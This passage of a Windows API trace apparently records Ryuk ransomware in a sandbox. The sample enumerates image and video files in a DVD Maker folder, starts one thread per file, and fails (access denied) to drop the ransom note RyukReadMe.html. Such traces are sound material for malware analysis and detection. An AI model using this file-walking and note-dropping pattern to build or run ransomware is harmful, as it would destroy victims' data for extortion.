	[0228.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98
	[0228.462] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.463] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1
	[0228.463] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c
	[0228.465] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.466] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1
	[0228.466] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0
	[0228.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.468] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1
	[0228.468] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca4
	[0228.502] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.506] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1
	[0228.506] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.507] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcac
	[0228.509] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.509] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1
	[0228.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb0
	[0228.512] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.513] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1
	[0228.513] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb4
	[0228.514] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.515] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1
	[0228.515] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcb8
	[0228.518] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.518] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1
	[0228.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcbc
	[0228.521] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.521] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1
	[0228.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0
	[0228.524] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.524] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1
	[0228.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc4
	[0228.527] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.527] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1
	[0228.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc8
	[0228.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.530] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1
	[0228.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xccc
	[0228.533] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.533] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x76, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1
	[0228.533] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd0
	[0228.535] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.536] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1
	[0228.536] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd4
	[0228.538] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.539] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1
	[0228.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8
	[0228.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.795] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0228.795] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcec
	[0228.798] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.798] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1
	[0228.798] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce8
	[0228.801] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.801] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x76, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1
	[0228.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf0
	[0228.803] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.804] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1
	[0228.804] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf4
	[0228.806] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.807] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1
	[0228.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcf8
	[0228.808] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.809] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x76, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0
	[0228.809] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0228.811] SetLastError (dwErrCode=0x0) 
	[0228.811] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.837] GetLastError () returned 0x5
	[0228.837] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0228.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.837] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x62, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1
	[0228.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf0
	[0228.839] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.840] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x62, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0228.840] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc
	[0228.842] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.843] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x62, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1
	[0228.843] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd00
	[0228.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0228.845] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x62, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0228.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0228.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd48
	[0229.162] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0229.163] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x62, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0229.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
